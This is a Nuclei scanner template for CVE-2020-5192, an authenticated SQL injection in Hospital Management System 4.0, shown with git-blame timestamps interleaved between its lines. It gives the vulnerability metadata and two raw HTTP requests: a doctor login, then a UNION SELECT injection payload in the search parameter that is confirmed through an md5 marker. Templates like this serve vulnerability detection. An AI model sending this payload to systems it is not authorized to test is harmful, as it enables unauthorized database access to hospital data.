2022-08-27 06:49:07 +00:00
id : CVE-2020-5192
2022-08-27 14:19:36 +00:00
2022-08-27 06:49:07 +00:00
info :
2022-08-27 14:19:36 +00:00
name : Hospital Management System 4.0 - SQL Injection
2022-08-27 06:49:07 +00:00
author : TenBird
2022-09-29 13:52:24 +00:00
severity : high
2022-08-27 14:19:36 +00:00
description : |
2022-09-29 13:38:41 +00:00
Hospital Management System 4.0 contains multiple SQL injection vulnerabilities because multiple pages and parameters do not validate user input. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
2023-09-06 12:22:36 +00:00
remediation : |
Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Hospital Management System 4.0.
2022-08-27 06:49:07 +00:00
reference :
2022-08-27 14:19:36 +00:00
- https://www.exploit-db.com/exploits/47840
2022-08-30 05:56:38 +00:00
- https://phpgurukul.com/hospital-management-system-in-php/
2022-09-29 13:38:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-5192
2022-08-27 06:49:07 +00:00
classification :
2022-08-30 05:56:38 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
2022-08-27 06:49:07 +00:00
cve-id : CVE-2020-5192
2022-08-30 05:56:38 +00:00
cwe-id : CWE-89
2023-10-14 11:27:55 +00:00
epss-score : 0.31381
2023-11-23 06:31:41 +00:00
epss-percentile : 0.96534
2023-11-15 11:17:20 +00:00
cpe : cpe:2.3:a:phpgurukul:hospital_management_system:4.0:*:*:*:*:*:*:*
2022-08-27 14:19:36 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:22:36 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : phpgurukul
2023-11-15 11:17:20 +00:00
product : hospital_management_system
2022-08-30 05:56:38 +00:00
tags : cve2020,hms,cms,sqli,authenticated,edb,cve
2022-08-27 14:19:36 +00:00
variables :
num : "999999999"
2022-08-27 06:49:07 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-08-27 06:49:07 +00:00
- raw :
- |
POST /hospital/hms/doctor/index.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-08-27 14:19:36 +00:00
2022-08-27 06:49:07 +00:00
username={{username}}password={{password}}&submit=&submit=
- |
POST /hospital/hms/doctor/search.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-08-27 14:19:36 +00:00
searchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5({{num}}),1),2),NULL--+PqeG&search=
2022-08-27 06:49:07 +00:00
2023-07-11 19:49:27 +00:00
cookie-reuse : true
2022-10-07 21:27:25 +00:00
host-redirects : true
2022-08-27 14:19:36 +00:00
max-redirects : 2
2023-07-11 19:49:27 +00:00
2022-08-27 06:49:07 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-08-30 05:41:12 +00:00
- '{{md5(num)}}'
2022-08-27 14:19:36 +00:00
- type : status
status :
- 200
2023-11-23 06:41:10 +00:00
# digest: 4a0a004730450220551cfd9b53796d75c0c33660de168fbd540a94e85b7e42c600d272c4566e3874022100c6a79169965b4081a1d229915139391166550e32d5ef7adf98d546ad5491cb77:922c64590222798bb761d5b6d8e72950